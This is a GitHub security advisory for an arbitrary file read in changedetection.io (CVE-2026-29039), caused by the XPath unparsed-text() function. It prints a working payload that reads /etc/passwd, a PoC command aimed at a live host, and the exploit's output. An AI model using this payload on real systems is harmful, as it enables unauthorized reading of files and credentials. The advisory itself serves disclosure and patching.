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changedetection.io vulnerable to XPath - Arbitrary File Read via unparsed-text()

High severity GitHub Reviewed Published Mar 4, 2026 in dgtlmoon/changedetection.io • Updated Mar 6, 2026

Package

pip changedetection.io (pip)

Affected versions

<= 0.54.3

Patched versions

0.54.4

Description

Summary

  • The changedetection.io application allows users to specify XPath expressions as content filters via the include_filters field. These XPath expressions are processed using the elementpath library which implements XPath 3.0/3.1 specification.

  • XPath 3.0 includes the unparsed-text() function which can read arbitrary files from the filesystem. The application does not validate or sanitize XPath expressions to block dangerous functions, allowing an attacker to read any file accessible to the application process.

Data Flow

User Input (include_filters field)
    ↓
forms.py:ValidateCSSJSONXPATHInput() - Only validates syntax, NOT function safety
    ↓
Watch configuration stored in datastore
    ↓
Scheduled fetch triggers html_tools.py processing
    ↓
html_tools.py:xpath_filter() at line 213
    ↓
elementpath.select(root, xpath_expression, parser=XPath3Parser)
    ↓
XPath 3.0 unparsed-text('file:///etc/passwd') executed
    ↓
File contents returned as "filtered content"
    ↓
Stored as snapshot, viewable in UI

Affected Code
File: changedetectionio/html_tools.py
Function: xpath_filter()
Lines: 187-220

def xpath_filter(xpath_filter, html_content, append_pretty_line_formatting=False, is_rss=False):
    # ...
    from elementpath import XPath3Parser  # XPath 3.0 with dangerous functions
    # ...
    r = elementpath.select(root, xpath_filter.strip(), parser=XPath3Parser)  # Line 213

Validation (forms.py):

class ValidateCSSJSONXPATHInput:
    def __call__(self, form, field):
        # Only checks if XPath is syntactically valid
        # Does NOT check for dangerous functions like unparsed-text()

Details

xpath:unparsed-text('file:///etc/passwd')
  • Save and trigger a recheck
  • View the preview/snapshot - the file contents will be displayed

image

PoC

python script for easy reproduction: https://gist.githubusercontent.com/DhiyaneshGeek/27a6239f34023d43a0b89afb05edc5d2/raw/76d2b1f035164298d57699741eb79a8376f4ed47/poc_xpath_file_read.py

python3 poc_xpath_file_read.py http://ewn9c0k01ghh7f588a7mij4y1w6iz8gb.tryneoai.com:5000 /etc/passwd

╔═══════════════════════════════════════════════════════════════╗
║  XPath 3.0 Arbitrary File Read Exploit                        ║
║  Target: changedetection.io                                   ║
║  Vulnerability: unparsed-text() in XPath filters              ║
╚═══════════════════════════════════════════════════════════════╝
    
[*] Creating new watch for https://example.com...
[+] Watch created with UUID: 5215b704-809c-4218-952b-aad9b6ee41e1
[*] Setting XPath filter to read: /etc/passwd
[+] XPath filter set successfully
[*] Triggering recheck...
[*] Waiting for check to complete...
[*] Retrieving file contents...

[+] SUCCESS! File contents retrieved:
============================================================
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

============================================================
[*] Cleaning up (deleting watch)...

Impact

  • Read any file accessible to the application process
  • Exfiltrate sensitive configuration files, credentials, API keys
  • Read application source code
  • Access database files if file-based (SQLite)

References

@dgtlmoon dgtlmoon published to dgtlmoon/changedetection.io Mar 4, 2026
Published to the GitHub Advisory Database Mar 4, 2026
Reviewed Mar 4, 2026
Published by the National Vulnerability Database Mar 6, 2026
Last updated Mar 6, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(2nd percentile)

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

CVE ID

CVE-2026-29039

GHSA ID

GHSA-6fmw-82m7-jq6p

Source code

Credits

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